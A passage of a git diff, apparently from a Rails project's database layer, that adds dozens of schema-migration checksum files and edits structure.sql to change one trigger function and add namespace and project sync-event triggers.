@@ -0,0 +1 @@
+543feeedace6596d63207738829dcd62249a9f048a08928fbe4131ec69058322 \ No newline at end of file
diff --git a/db/schema_migrations/20211027043229 b/db/schema_migrations/20211027043229
new file mode 100644
index 00000000000..75c99cb5491
--- /dev/null
+++ b/db/schema_migrations/20211027043229
@@ -0,0 +1 @@
+2bceb12bdb90052cc8c1aedbd52c11cb8125471e1b59de3d75ef476fc64851c9 \ No newline at end of file
diff --git a/db/schema_migrations/20211101165656 b/db/schema_migrations/20211101165656
new file mode 100644
index 00000000000..6886ce7b564
--- /dev/null
+++ b/db/schema_migrations/20211101165656
@@ -0,0 +1 @@
+853e68aa974f49b7ab9f60acc0191da47598db115748e96752145c3cea89a986 \ No newline at end of file
diff --git a/db/schema_migrations/20211101222614 b/db/schema_migrations/20211101222614
new file mode 100644
index 00000000000..619ca607a75
--- /dev/null
+++ b/db/schema_migrations/20211101222614
@@ -0,0 +1 @@
+a579b14aff1d186d89173e383442f2ffbd69b1baed3f9a4c758fbb001b445139 \ No newline at end of file
diff --git a/db/schema_migrations/20211103141403 b/db/schema_migrations/20211103141403
new file mode 100644
index 00000000000..357a24ae4bb
--- /dev/null
+++ b/db/schema_migrations/20211103141403
@@ -0,0 +1 @@
+d16d62b2984586540a99aa5fc67de6459a4cd473089ddbae8d45e8783863d78d \ No newline at end of file
diff --git a/db/schema_migrations/20211104165220 b/db/schema_migrations/20211104165220
new file mode 100644
index 00000000000..abfa37a45a4
--- /dev/null
+++ b/db/schema_migrations/20211104165220
@@ -0,0 +1 @@
+52625ff0a6117724cc1d7c6417ef95fe8dbcbb394486bb4734e28d3b41d23fd2 \ No newline at end of file
diff --git a/db/schema_migrations/20211108204736 b/db/schema_migrations/20211108204736
new file mode 100644
index 00000000000..6d37b1b1184
--- /dev/null
+++ b/db/schema_migrations/20211108204736
@@ -0,0 +1 @@
+9e01b1817e4c578f5be7d7378dc12a8535c2bbbff5ecbc77f5a7cfdb148927f5 \ No newline at end of file
diff --git a/db/schema_migrations/20211110014701 b/db/schema_migrations/20211110014701
new file mode 100644
index 00000000000..fe3721eb055
--- /dev/null
+++ b/db/schema_migrations/20211110014701
@@ -0,0 +1 @@
+1c5f65a25c9cf81a50bd9ffa2e74e2621cff04e58a2f90b19c66741ebb459d3e \ No newline at end of file
diff --git a/db/schema_migrations/20211110015252 b/db/schema_migrations/20211110015252
new file mode 100644
index 00000000000..06a6a5b0ad7
--- /dev/null
+++ b/db/schema_migrations/20211110015252
@@ -0,0 +1 @@
+4038c269ce9c47ca9327fb1b81bb588e9065f0821f291d17c7965d7f8fe1f275 \ No newline at end of file
diff --git a/db/schema_migrations/20211110092710 b/db/schema_migrations/20211110092710
new file mode 100644
index 00000000000..691194456d4
--- /dev/null
+++ b/db/schema_migrations/20211110092710
@@ -0,0 +1 @@
+f6312d56d2ac77537383c8671d73ad202fed9bb8eddba4bdb24d19dbe821cdf3 \ No newline at end of file
diff --git a/db/schema_migrations/20211110143306 b/db/schema_migrations/20211110143306
new file mode 100644
index 00000000000..e1618c07f75
--- /dev/null
+++ b/db/schema_migrations/20211110143306
@@ -0,0 +1 @@
+7724e5a2c52be99b1b40c449f25abdc23f279f5b0bdaebcfd897c39d295fda41 \ No newline at end of file
diff --git a/db/schema_migrations/20211110151320 b/db/schema_migrations/20211110151320
new file mode 100644
index 00000000000..91f780811c3
--- /dev/null
+++ b/db/schema_migrations/20211110151320
@@ -0,0 +1 @@
+dab6123f19fb44a1566a8de9c760dedec5548dd64e472a180e7748cd7c93eea9 \ No newline at end of file
diff --git a/db/schema_migrations/20211110151350 b/db/schema_migrations/20211110151350
new file mode 100644
index 00000000000..98d590c26e9
--- /dev/null
+++ b/db/schema_migrations/20211110151350
@@ -0,0 +1 @@
+f5e69502e582c5f30ba686f8b668d8f0ce5cf8078b0833d2eda67f5ed97ac074 \ No newline at end of file
diff --git a/db/schema_migrations/20211111112425 b/db/schema_migrations/20211111112425
new file mode 100644
index 00000000000..5201a7d3156
--- /dev/null
+++ b/db/schema_migrations/20211111112425
@@ -0,0 +1 @@
+0ab93a0bfd52d6c13203a0b183b2fcb9d6770334e5b1bd00a28fb623b65c428d \ No newline at end of file
diff --git a/db/schema_migrations/20211111112639 b/db/schema_migrations/20211111112639
new file mode 100644
index 00000000000..e05cba2db8a
--- /dev/null
+++ b/db/schema_migrations/20211111112639
@@ -0,0 +1 @@
+870100261e3704522d390885b8ff13ebbcb093aa508d79b90f9738f6a0fffd10 \ No newline at end of file
diff --git a/db/schema_migrations/20211111112713 b/db/schema_migrations/20211111112713
new file mode 100644
index 00000000000..368378c28b8
--- /dev/null
+++ b/db/schema_migrations/20211111112713
@@ -0,0 +1 @@
+0cc2f19a8e31d9418ffd4fa1307f5210f0f2d781b957d417f06e19aca0b53985 \ No newline at end of file
diff --git a/db/schema_migrations/20211111164025 b/db/schema_migrations/20211111164025
new file mode 100644
index 00000000000..409cc160b9e
--- /dev/null
+++ b/db/schema_migrations/20211111164025
@@ -0,0 +1 @@
+d78fe687517e14ff67dc76eff63391e33b73d29446d2a0445595175c7cd6806a \ No newline at end of file
diff --git a/db/schema_migrations/20211111164047 b/db/schema_migrations/20211111164047
new file mode 100644
index 00000000000..30e0875cf73
--- /dev/null
+++ b/db/schema_migrations/20211111164047
@@ -0,0 +1 @@
+c8ed7f8c0f818156dba9c25be848da97d4eb6dbf0aa9c48f87e940f3ca0967d9 \ No newline at end of file
diff --git a/db/schema_migrations/20211112073413 b/db/schema_migrations/20211112073413
new file mode 100644
index 00000000000..11551bb5819
--- /dev/null
+++ b/db/schema_migrations/20211112073413
@@ -0,0 +1 @@
+8960c0a2b7e621e466fde3bde6a252119008579c058046a16d57a6f6bff42008 \ No newline at end of file
diff --git a/db/schema_migrations/20211115132613 b/db/schema_migrations/20211115132613
new file mode 100644
index 00000000000..be6f19bdc70
--- /dev/null
+++ b/db/schema_migrations/20211115132613
@@ -0,0 +1 @@
+a9cc7d1fc3317958ecda959b62b42f93b2609c4e784566f9696fef51c5ebdf3b \ No newline at end of file
diff --git a/db/schema_migrations/20211115142803 b/db/schema_migrations/20211115142803
new file mode 100644
index 00000000000..0e9022f7c0e
--- /dev/null
+++ b/db/schema_migrations/20211115142803
@@ -0,0 +1 @@
+52fd12693481ae7e08eb084ef679434592538d99117c1906f30ca6a36b12a212 \ No newline at end of file
diff --git a/db/schema_migrations/20211115142847 b/db/schema_migrations/20211115142847
new file mode 100644
index 00000000000..049efcf8bcf
--- /dev/null
+++ b/db/schema_migrations/20211115142847
@@ -0,0 +1 @@
+cded37f94d578a503e5b389e6483ec68666983f71395c13b4f0011db04e807c3 \ No newline at end of file
diff --git a/db/schema_migrations/20211115142911 b/db/schema_migrations/20211115142911
new file mode 100644
index 00000000000..43bae5192c5
--- /dev/null
+++ b/db/schema_migrations/20211115142911
@@ -0,0 +1 @@
+63141e62fc21cf0a4b47355ecd3814c1f0cc829b7f4851d833f95369206c8919 \ No newline at end of file
diff --git a/db/schema_migrations/20211115145107 b/db/schema_migrations/20211115145107
new file mode 100644
index 00000000000..25270a5c587
--- /dev/null
+++ b/db/schema_migrations/20211115145107
@@ -0,0 +1 @@
+2b6bc8067402744b79eee06022cf3c91ba7ffd519df83aae4067600a6bbf43ad \ No newline at end of file
diff --git a/db/schema_migrations/20211115154103 b/db/schema_migrations/20211115154103
new file mode 100644
index 00000000000..2b721bc7b39
--- /dev/null
+++ b/db/schema_migrations/20211115154103
@@ -0,0 +1 @@
+ad65e6deb885397dc91f33dc117a50e9a1b6d60f4caed8c5b77d474ec0340995 \ No newline at end of file
diff --git a/db/schema_migrations/20211116091751 b/db/schema_migrations/20211116091751
new file mode 100644
index 00000000000..8b13b53e437
--- /dev/null
+++ b/db/schema_migrations/20211116091751
@@ -0,0 +1 @@
+d71889bba2150265e9482be0b5ee89f43168d4a35b47469a36873d65f00df878 \ No newline at end of file
diff --git a/db/schema_migrations/20211116093739 b/db/schema_migrations/20211116093739
new file mode 100644
index 00000000000..b0ded3f2a0f
--- /dev/null
+++ b/db/schema_migrations/20211116093739
@@ -0,0 +1 @@
+39d1988fe409944877df24e9859b171eab13c4a4703c8e85a2bff33318fb61fc \ No newline at end of file
diff --git a/db/schema_migrations/20211116111644 b/db/schema_migrations/20211116111644
new file mode 100644
index 00000000000..c2bc9dbee0d
--- /dev/null
+++ b/db/schema_migrations/20211116111644
@@ -0,0 +1 @@
+664c7fa75d3283b6e984fcca4ffcefab6dba24a78e4cc24ac86f791ab4495def \ No newline at end of file
diff --git a/db/schema_migrations/20211117084814 b/db/schema_migrations/20211117084814
new file mode 100644
index 00000000000..d24eb0a0c04
--- /dev/null
+++ b/db/schema_migrations/20211117084814
@@ -0,0 +1 @@
+d6b0ca9d1e88e9e531ee0da5c82723309d746b6d83ea5dfb8326d3cc718a31b6 \ No newline at end of file
diff --git a/db/schema_migrations/20211117174209 b/db/schema_migrations/20211117174209
new file mode 100644
index 00000000000..f5e8cd180c2
--- /dev/null
+++ b/db/schema_migrations/20211117174209
@@ -0,0 +1 @@
+c7c29b136fbe00271807fcd3133baf7a6e9ded40989fc274e941fc99f2c19e4d \ No newline at end of file
diff --git a/db/schema_migrations/20211118100959 b/db/schema_migrations/20211118100959
new file mode 100644
index 00000000000..e3c42353b8d
--- /dev/null
+++ b/db/schema_migrations/20211118100959
@@ -0,0 +1 @@
+8b1bb9758150151518f16307d3f145431000b7edf946fd44e54cf7301087b002 \ No newline at end of file
diff --git a/db/schema_migrations/20211118103439 b/db/schema_migrations/20211118103439
new file mode 100644
index 00000000000..5b5891c3b16
--- /dev/null
+++ b/db/schema_migrations/20211118103439
@@ -0,0 +1 @@
+721f1ada9fe5a3d7e5da3750a43d5021a85a26e8adc4d649e7f0fff8cdf68344 \ No newline at end of file
diff --git a/db/schema_migrations/20211118114228 b/db/schema_migrations/20211118114228
new file mode 100644
index 00000000000..82c7984750d
--- /dev/null
+++ b/db/schema_migrations/20211118114228
@@ -0,0 +1 @@
+7686fd3e33b25b811aba459aba514cde8e88102277edb3be7e12378cb7e8de85 \ No newline at end of file
diff --git a/db/schema_migrations/20211118124537 b/db/schema_migrations/20211118124537
new file mode 100644
index 00000000000..537c3aa88fa
--- /dev/null
+++ b/db/schema_migrations/20211118124537
@@ -0,0 +1 @@
+d9a0886d95cd54add9e63475a2f1ca0601304bb64ffe6e6d9e62cb8997d5fe40 \ No newline at end of file
diff --git a/db/schema_migrations/20211118124628 b/db/schema_migrations/20211118124628
new file mode 100644
index 00000000000..e6364327ca4
--- /dev/null
+++ b/db/schema_migrations/20211118124628
@@ -0,0 +1 @@
+f25ee0df287f1c44740be143831537bf262d09d7068ceca1c516ee964bc3aa24 \ No newline at end of file
diff --git a/db/schema_migrations/20211118124650 b/db/schema_migrations/20211118124650
new file mode 100644
index 00000000000..739cfeb80b3
--- /dev/null
+++ b/db/schema_migrations/20211118124650
@@ -0,0 +1 @@
+e032fd334d175d803b943c6328048705e81bd70af6ac226a032281304840f1cd \ No newline at end of file
diff --git a/db/schema_migrations/20211118130836 b/db/schema_migrations/20211118130836
new file mode 100644
index 00000000000..df16d8c5c5e
--- /dev/null
+++ b/db/schema_migrations/20211118130836
@@ -0,0 +1 @@
+2630b21c7134ac539a18798f2f2b99f468e171b79e30a184f7e8cdaccd11d465 \ No newline at end of file
diff --git a/db/schema_migrations/20211118194239 b/db/schema_migrations/20211118194239
new file mode 100644
index 00000000000..ce3c1eb83d1
--- /dev/null
+++ b/db/schema_migrations/20211118194239
@@ -0,0 +1 @@
+04a4b10085bae2006ac78600b3cc410d130f9ac6944103c7bd85f71e060d4a67 \ No newline at end of file
diff --git a/db/schema_migrations/20211119085015 b/db/schema_migrations/20211119085015
new file mode 100644
index 00000000000..874bd158e7c
--- /dev/null
+++ b/db/schema_migrations/20211119085015
@@ -0,0 +1 @@
+88b289d724f98f75e0340cde4c6e2bc3cb55df2a979934fb2bc544d22e4c032d \ No newline at end of file
diff --git a/db/schema_migrations/20211119085036 b/db/schema_migrations/20211119085036
new file mode 100644
index 00000000000..f9d1eeffbcb
--- /dev/null
+++ b/db/schema_migrations/20211119085036
@@ -0,0 +1 @@
+2b2c28e0370ae1bb84bee5ff769c9b313902d1f1afc50fa54e23a1627b1121f3 \ No newline at end of file
diff --git a/db/schema_migrations/20211119154221 b/db/schema_migrations/20211119154221
new file mode 100644
index 00000000000..c8b6005b48b
--- /dev/null
+++ b/db/schema_migrations/20211119154221
@@ -0,0 +1 @@
+020e17ffd6851fb861a17c1b120ca7cdfa300434d4a9ec923a4edcaa7f951b31 \ No newline at end of file
diff --git a/db/schema_migrations/20211119170805 b/db/schema_migrations/20211119170805
new file mode 100644
index 00000000000..fffb02d4285
--- /dev/null
+++ b/db/schema_migrations/20211119170805
@@ -0,0 +1 @@
+adb95bc78104382fb1d3af2c2775b4b5bd23394b4260c3a97667b4bd7917e0da \ No newline at end of file
diff --git a/db/schema_migrations/20211119194024 b/db/schema_migrations/20211119194024
new file mode 100644
index 00000000000..0d90b09e732
--- /dev/null
+++ b/db/schema_migrations/20211119194024
@@ -0,0 +1 @@
+ac2e376ad32f0e2fd45d8695f13a0b46c2d5964b881f79e3a30a51ac85d4359b \ No newline at end of file
diff --git a/db/schema_migrations/20211119195201 b/db/schema_migrations/20211119195201
new file mode 100644
index 00000000000..dd7f7b83d8d
--- /dev/null
+++ b/db/schema_migrations/20211119195201
@@ -0,0 +1 @@
+caaf92f12bf0ed144d99f629c9e5d64fd45832a90bbd743e40febcdc4802cd59 \ No newline at end of file
diff --git a/db/schema_migrations/20211122033501 b/db/schema_migrations/20211122033501
new file mode 100644
index 00000000000..08673370b57
--- /dev/null
+++ b/db/schema_migrations/20211122033501
@@ -0,0 +1 @@
+e010b4c12ae8203d9ea8a4c2035be5e7165aba0030f4d5fd0b0f978f84748707 \ No newline at end of file
diff --git a/db/schema_migrations/20211122193948 b/db/schema_migrations/20211122193948
new file mode 100644
index 00000000000..94dbab4cd73
--- /dev/null
+++ b/db/schema_migrations/20211122193948
@@ -0,0 +1 @@
+12203afb7b66a12946d971dd601d2ce91e1408fcdf36d9d8b2fadcf09d7c1e56 \ No newline at end of file
diff --git a/db/schema_migrations/20211122215001 b/db/schema_migrations/20211122215001
new file mode 100644
index 00000000000..be0fd652eb7
--- /dev/null
+++ b/db/schema_migrations/20211122215001
@@ -0,0 +1 @@
+fc29e10717357f7dd57940042d69a6c43a0d17fdf3c951917a76eae8c1d93ba3 \ No newline at end of file
diff --git a/db/schema_migrations/20211123181236 b/db/schema_migrations/20211123181236
new file mode 100644
index 00000000000..25f00af5d72
--- /dev/null
+++ b/db/schema_migrations/20211123181236
@@ -0,0 +1 @@
+ac21109099642d5934c16b3f0130736a587c4f20143552545c2b524062ff71e0 \ No newline at end of file
diff --git a/db/schema_migrations/20211123182614 b/db/schema_migrations/20211123182614
new file mode 100644
index 00000000000..8b67ec7cd26
--- /dev/null
+++ b/db/schema_migrations/20211123182614
@@ -0,0 +1 @@
+9a3ba69a1df02059b240393cc381c4a5ba9db0f116818aa9f3d4f1009f055b09 \ No newline at end of file
diff --git a/db/schema_migrations/20211124132319 b/db/schema_migrations/20211124132319
new file mode 100644
index 00000000000..1809d13a553
--- /dev/null
+++ b/db/schema_migrations/20211124132319
@@ -0,0 +1 @@
+cdb85c8633687338a11ebce0603f82f5cab00e7c58f923d30b68a877b94e2db2 \ No newline at end of file
diff --git a/db/schema_migrations/20211124132705 b/db/schema_migrations/20211124132705
new file mode 100644
index 00000000000..12e3f08365b
--- /dev/null
+++ b/db/schema_migrations/20211124132705
@@ -0,0 +1 @@
+4eacad00017890c71f3354d80061fae7af40499256475cdf035bdf41b916e5f3 \ No newline at end of file
diff --git a/db/schema_migrations/20211125120444 b/db/schema_migrations/20211125120444
new file mode 100644
index 00000000000..8dca57e74ef
--- /dev/null
+++ b/db/schema_migrations/20211125120444
@@ -0,0 +1 @@
+19062282d022e5d93cd525cff44c67f1fbc5557f1201e523a57725dc0b6ecd70 \ No newline at end of file
diff --git a/db/schema_migrations/20211126042235 b/db/schema_migrations/20211126042235
new file mode 100644
index 00000000000..8c34dd173a9
--- /dev/null
+++ b/db/schema_migrations/20211126042235
@@ -0,0 +1 @@
+c6992d23fc43c26861accf7c516603802c95367460ad688d1a420a60a33833f1 \ No newline at end of file
diff --git a/db/schema_migrations/20211126113029 b/db/schema_migrations/20211126113029
new file mode 100644
index 00000000000..aaf1a421982
--- /dev/null
+++ b/db/schema_migrations/20211126113029
@@ -0,0 +1 @@
+96abde258e6527a2b09bb60e1cc0cb90802c8a7e43a2132e9956536390a8aab8 \ No newline at end of file
diff --git a/db/schema_migrations/20211126115449 b/db/schema_migrations/20211126115449
new file mode 100644
index 00000000000..693dfb46149
--- /dev/null
+++ b/db/schema_migrations/20211126115449
@@ -0,0 +1 @@
+2e6e432ecf7b2c885905fd4df6b57fa99b324f56cb0850d9fc792b4a9b363423 \ No newline at end of file
diff --git a/db/schema_migrations/20211126142200 b/db/schema_migrations/20211126142200
new file mode 100644
index 00000000000..136addef509
--- /dev/null
+++ b/db/schema_migrations/20211126142200
@@ -0,0 +1 @@
+a00ce6a11c7671b6d2efe47e3859afaec72c437fdf5383b990ee09cf14081c9b \ No newline at end of file
diff --git a/db/schema_migrations/20211126142354 b/db/schema_migrations/20211126142354
new file mode 100644
index 00000000000..fc84b266263
--- /dev/null
+++ b/db/schema_migrations/20211126142354
@@ -0,0 +1 @@
+31d5fa3caff916a485f26b6834e37037455068cdcf502802196bf1d663716f49 \ No newline at end of file
diff --git a/db/schema_migrations/20211126204445 b/db/schema_migrations/20211126204445
new file mode 100644
index 00000000000..b130d90b8ec
--- /dev/null
+++ b/db/schema_migrations/20211126204445
@@ -0,0 +1 @@
+e31592bbeb6ba6175f19cfceaafb37672633028dd021052542909999b46eac38 \ No newline at end of file
diff --git a/db/schema_migrations/20211129151155 b/db/schema_migrations/20211129151155
new file mode 100644
index 00000000000..4aa3e56bae6
--- /dev/null
+++ b/db/schema_migrations/20211129151155
@@ -0,0 +1 @@
+c1ba97f01fca6330628090010abb54220c0d057514386c6bb867c1b6f13f252c \ No newline at end of file
diff --git a/db/schema_migrations/20211129151832 b/db/schema_migrations/20211129151832
new file mode 100644
index 00000000000..fdfc464d136
--- /dev/null
+++ b/db/schema_migrations/20211129151832
@@ -0,0 +1 @@
+c6d257f635049f88cd6efba903c9384a0a1af23b3c8fe6fa7f0842dcdf9f7e39 \ No newline at end of file
diff --git a/db/schema_migrations/20211130151724 b/db/schema_migrations/20211130151724
new file mode 100644
index 00000000000..090d49ca482
--- /dev/null
+++ b/db/schema_migrations/20211130151724
@@ -0,0 +1 @@
+f9bd521c92558ba9ad3cfa3fd6ff1a647847c0fc767e1e4f45b43422542d5cc7 \ No newline at end of file
diff --git a/db/schema_migrations/20211130165043 b/db/schema_migrations/20211130165043
new file mode 100644
index 00000000000..3d4f7b52a69
--- /dev/null
+++ b/db/schema_migrations/20211130165043
@@ -0,0 +1 @@
+2eece823b66fec7f5a9a5c24b93d354a47939a7cdd915349a433b7bbec6abc22 \ No newline at end of file
diff --git a/db/schema_migrations/20211130201100 b/db/schema_migrations/20211130201100
new file mode 100644
index 00000000000..80c2d68671b
--- /dev/null
+++ b/db/schema_migrations/20211130201100
@@ -0,0 +1 @@
+cc0146769929c9fbb0b7b6788826d2e188c8664a14e1015563ba4f9e65397c4e \ No newline at end of file
diff --git a/db/schema_migrations/20211130201101 b/db/schema_migrations/20211130201101
new file mode 100644
index 00000000000..ef1178c10c5
--- /dev/null
+++ b/db/schema_migrations/20211130201101
@@ -0,0 +1 @@
+b0215ac45031593ca98de4f8858d21f1c29af03742a422bffd83598e39a6871c \ No newline at end of file
diff --git a/db/schema_migrations/20211130205719 b/db/schema_migrations/20211130205719
new file mode 100644
index 00000000000..aae23faabc9
--- /dev/null
+++ b/db/schema_migrations/20211130205719
@@ -0,0 +1 @@
+567a80916756adcca93bdbe82d69a923e539aac74146e714b58a1b023134d2c9 \ No newline at end of file
diff --git a/db/schema_migrations/20211201061733 b/db/schema_migrations/20211201061733
new file mode 100644
index 00000000000..722e7dd828c
--- /dev/null
+++ b/db/schema_migrations/20211201061733
@@ -0,0 +1 @@
+c5282e48f31c0896a3ce21fe238eb602dc006b0bfe62aa4f12ee39bbd620c76c \ No newline at end of file
diff --git a/db/schema_migrations/20211201101541 b/db/schema_migrations/20211201101541
new file mode 100644
index 00000000000..52f43ddcd2f
--- /dev/null
+++ b/db/schema_migrations/20211201101541
@@ -0,0 +1 @@
+277cfcd1002e32c6cd664d6c0b6a7cbdf2ed7e5242e46dbddc4f99b0e8422361 \ No newline at end of file
diff --git a/db/schema_migrations/20211201143042 b/db/schema_migrations/20211201143042
new file mode 100644
index 00000000000..a5f0c8be842
--- /dev/null
+++ b/db/schema_migrations/20211201143042
@@ -0,0 +1 @@
+0d27ca1250d10b8915fa4523707044f9a8c2372110537f5639a1811aeb0858b8 \ No newline at end of file
diff --git a/db/schema_migrations/20211202041233 b/db/schema_migrations/20211202041233
new file mode 100644
index 00000000000..fb19264fbd5
--- /dev/null
+++ b/db/schema_migrations/20211202041233
@@ -0,0 +1 @@
+61c949b42338b248a0950cfafc82d58816c3fec44a2bf41c4ecb4cf09340a424 \ No newline at end of file
diff --git a/db/schema_migrations/20211202094944 b/db/schema_migrations/20211202094944
new file mode 100644
index 00000000000..b917cca67fa
--- /dev/null
+++ b/db/schema_migrations/20211202094944
@@ -0,0 +1 @@
+2bca61880005c9303b2ff71747cde64d3418b6ef8ad2a9f114d584f4149e386b \ No newline at end of file
diff --git a/db/schema_migrations/20211202135508 b/db/schema_migrations/20211202135508
new file mode 100644
index 00000000000..6ca4701268d
--- /dev/null
+++ b/db/schema_migrations/20211202135508
@@ -0,0 +1 @@
+b565abbbb43f04ba4a6b77154ecb24b30328ac6d964f4be9fc5f9d05144606f0 \ No newline at end of file
diff --git a/db/schema_migrations/20211202145237 b/db/schema_migrations/20211202145237
new file mode 100644
index 00000000000..f5b91a189c8
--- /dev/null
+++ b/db/schema_migrations/20211202145237
@@ -0,0 +1 @@
+d109142aa838faedcd307f6cd235c969ca265813493eef50d63cbc2fe5d203b3 \ No newline at end of file
diff --git a/db/schema_migrations/20211203091642 b/db/schema_migrations/20211203091642
new file mode 100644
index 00000000000..ef53b1d2ed9
--- /dev/null
+++ b/db/schema_migrations/20211203091642
@@ -0,0 +1 @@
+9954fb041a3f284f53cc9c5c68b1a9dff36513a1851e663c221eccd40736fb16 \ No newline at end of file
diff --git a/db/schema_migrations/20211204010826 b/db/schema_migrations/20211204010826
new file mode 100644
index 00000000000..11311e66ad0
--- /dev/null
+++ b/db/schema_migrations/20211204010826
@@ -0,0 +1 @@
+6a3591e70ddd6573ad68360c1a8774ef61e7812ce831c75066baec5754e2bd76 \ No newline at end of file
diff --git a/db/schema_migrations/20211206073851 b/db/schema_migrations/20211206073851
new file mode 100644
index 00000000000..bfd8140b109
--- /dev/null
+++ b/db/schema_migrations/20211206073851
@@ -0,0 +1 @@
+403592fda1d82ed3c3fb8d5315593b67954a4ecbc368d9bcd5eedc75bb3c9821 \ No newline at end of file
diff --git a/db/schema_migrations/20211206074547 b/db/schema_migrations/20211206074547
new file mode 100644
index 00000000000..dd84a987827
--- /dev/null
+++ b/db/schema_migrations/20211206074547
@@ -0,0 +1 @@
+ba1c0d20e21ef51278109d0eaeb23f1c541eb5eb9aeb9a92583ee6de83c68918 \ No newline at end of file
diff --git a/db/schema_migrations/20211207090503 b/db/schema_migrations/20211207090503
new file mode 100644
index 00000000000..13daa5c81e6
--- /dev/null
+++ b/db/schema_migrations/20211207090503
@@ -0,0 +1 @@
+c30656c3f079e789f386b5b607710a7d4df6d2eb20bd457bab3a2e8d9eeb051b \ No newline at end of file
diff --git a/db/schema_migrations/20211207154413 b/db/schema_migrations/20211207154413
new file mode 100644
index 00000000000..26bc9a47632
--- /dev/null
+++ b/db/schema_migrations/20211207154413
@@ -0,0 +1 @@
+98098b41864158fc4de3b8fe42603b2c0c5c2fbc664397c431712311bdaa3621 \ No newline at end of file
diff --git a/db/schema_migrations/20211207154414 b/db/schema_migrations/20211207154414
new file mode 100644
index 00000000000..c7e1f8de4d1
--- /dev/null
+++ b/db/schema_migrations/20211207154414
@@ -0,0 +1 @@
+278907a15d04b455aa852eb9d17000c6b353be6ef78a8dcc2e71a9772a6e43ea \ No newline at end of file
diff --git a/db/schema_migrations/20211207165508 b/db/schema_migrations/20211207165508
new file mode 100644
index 00000000000..df0c91bad7d
--- /dev/null
+++ b/db/schema_migrations/20211207165508
@@ -0,0 +1 @@
+d1ed3ddf51c0bcebbac2a8dee05aa168daa35129110a463ac296ff2e640b0dbd \ No newline at end of file
diff --git a/db/schema_migrations/20211208111425 b/db/schema_migrations/20211208111425
new file mode 100644
index 00000000000..0b1aa9199b6
--- /dev/null
+++ b/db/schema_migrations/20211208111425
@@ -0,0 +1 @@
+1e3f29ed1a820588da9fe135fbdd0feaa960038b99397dbd7921d4804dce1e1f \ No newline at end of file
diff --git a/db/schema_migrations/20211208171402 b/db/schema_migrations/20211208171402
new file mode 100644
index 00000000000..a563797dea5
--- /dev/null
+++ b/db/schema_migrations/20211208171402
@@ -0,0 +1 @@
+09a9e7fc042aab19bf768a79401f33b6e7408acff303fc0ee68360dfd7605101 \ No newline at end of file
diff --git a/db/schema_migrations/20211209093636 b/db/schema_migrations/20211209093636
new file mode 100644
index 00000000000..2d2601ff51c
--- /dev/null
+++ b/db/schema_migrations/20211209093636
@@ -0,0 +1 @@
+e544953376948489daf4840d4a6228b18dc6e18d071a1025dab24c3559640489 \ No newline at end of file
diff --git a/db/schema_migrations/20211209093828 b/db/schema_migrations/20211209093828
new file mode 100644
index 00000000000..7f6b5a0c442
--- /dev/null
+++ b/db/schema_migrations/20211209093828
@@ -0,0 +1 @@
+583ee4809560fec645e6f0942b332f9ab2630d06b0a422b360c5bb546d0aad93 \ No newline at end of file
diff --git a/db/schema_migrations/20211209093923 b/db/schema_migrations/20211209093923
new file mode 100644
index 00000000000..654d4b3967e
--- /dev/null
+++ b/db/schema_migrations/20211209093923
@@ -0,0 +1 @@
+8ec578ddc956b2648bcdd8a2ce1728723e2b0eef1a0a4845f4cb0deb19c417ec \ No newline at end of file
diff --git a/db/schema_migrations/20211209094222 b/db/schema_migrations/20211209094222
new file mode 100644
index 00000000000..29156e38fe9
--- /dev/null
+++ b/db/schema_migrations/20211209094222
@@ -0,0 +1 @@
+1b461efe52d55ba9dca05e64efaae411c3de01612cbc55f9525e522e9b181b3d \ No newline at end of file
diff --git a/db/schema_migrations/20211210173137 b/db/schema_migrations/20211210173137
new file mode 100644
index 00000000000..3dfcb177167
--- /dev/null
+++ b/db/schema_migrations/20211210173137
@@ -0,0 +1 @@
+9bbd4c3e396e0de130418e705a370ce629ca507c82fa2ff5bbf085cdf01c2ff3 \ No newline at end of file
diff --git a/db/schema_migrations/20211213064821 b/db/schema_migrations/20211213064821
new file mode 100644
index 00000000000..119805a99b7
--- /dev/null
+++ b/db/schema_migrations/20211213064821
@@ -0,0 +1 @@
+9d7e85ac7c9ee2b9505c479b878cb07888cf089c04d34bdeb834fbb0c5111931 \ No newline at end of file
diff --git a/db/schema_migrations/20211213102111 b/db/schema_migrations/20211213102111
new file mode 100644
index 00000000000..214d061f265
--- /dev/null
+++ b/db/schema_migrations/20211213102111
@@ -0,0 +1 @@
+3d011cc67fc6ac661788f2d0e3766e51d624a4248ac9dbd861a4db810d396091 \ No newline at end of file
diff --git a/db/schema_migrations/20211213130324 b/db/schema_migrations/20211213130324
new file mode 100644
index 00000000000..529fe91ab5f
--- /dev/null
+++ b/db/schema_migrations/20211213130324
@@ -0,0 +1 @@
+2267855b2f12747b1f31f392677fac4d4f82ee234d7c54fd209b8bad417c8c75 \ No newline at end of file
diff --git a/db/schema_migrations/20211214110307 b/db/schema_migrations/20211214110307
new file mode 100644
index 00000000000..6e3101bbe59
--- /dev/null
+++ b/db/schema_migrations/20211214110307
@@ -0,0 +1 @@
+a1a6e3c5b4a8f959c55edbb084b37ba555b3977e450a549925de47605638f66e \ No newline at end of file
diff --git a/db/schema_migrations/20211215090620 b/db/schema_migrations/20211215090620
new file mode 100644
index 00000000000..9393ffee22e
--- /dev/null
+++ b/db/schema_migrations/20211215090620
@@ -0,0 +1 @@
+43ae6290e11e3944b23ce2865b5c466a29c9ba3cfd2e0b58bd834568414b5bf2 \ No newline at end of file
diff --git a/db/structure.sql b/db/structure.sql
index 5373aa7a31e..716b3e89be1 100644
--- a/db/structure.sql
+++ b/db/structure.sql
@@ -27,14 +27,35 @@ CREATE FUNCTION insert_into_loose_foreign_keys_deleted_records() RETURNS trigger
AS $$
BEGIN
INSERT INTO loose_foreign_keys_deleted_records
- (partition, fully_qualified_table_name, primary_key_value)
- SELECT 1, TG_TABLE_SCHEMA || '.' || TG_TABLE_NAME, old_table.id FROM old_table
- ON CONFLICT DO NOTHING;
+ (fully_qualified_table_name, primary_key_value)
+ SELECT TG_TABLE_SCHEMA || '.' || TG_TABLE_NAME, old_table.id FROM old_table;
RETURN NULL;
END
$$;
+CREATE FUNCTION insert_namespaces_sync_event() RETURNS trigger
+ LANGUAGE plpgsql
+ AS $$
+BEGIN
+INSERT INTO namespaces_sync_events (namespace_id)
+VALUES(COALESCE(NEW.id, OLD.id));
+RETURN NULL;
+
+END
+$$;
+
+CREATE FUNCTION insert_projects_sync_event() RETURNS trigger
+ LANGUAGE plpgsql
+ AS $$
+BEGIN
+INSERT INTO projects_sync_events (project_id)
+VALUES(COALESCE(NEW.id, OLD.id));
+RETURN NULL;
+
+END
+$$;
+
CREATE FUNCTION integrations_set_type_new() RETURNS trigger
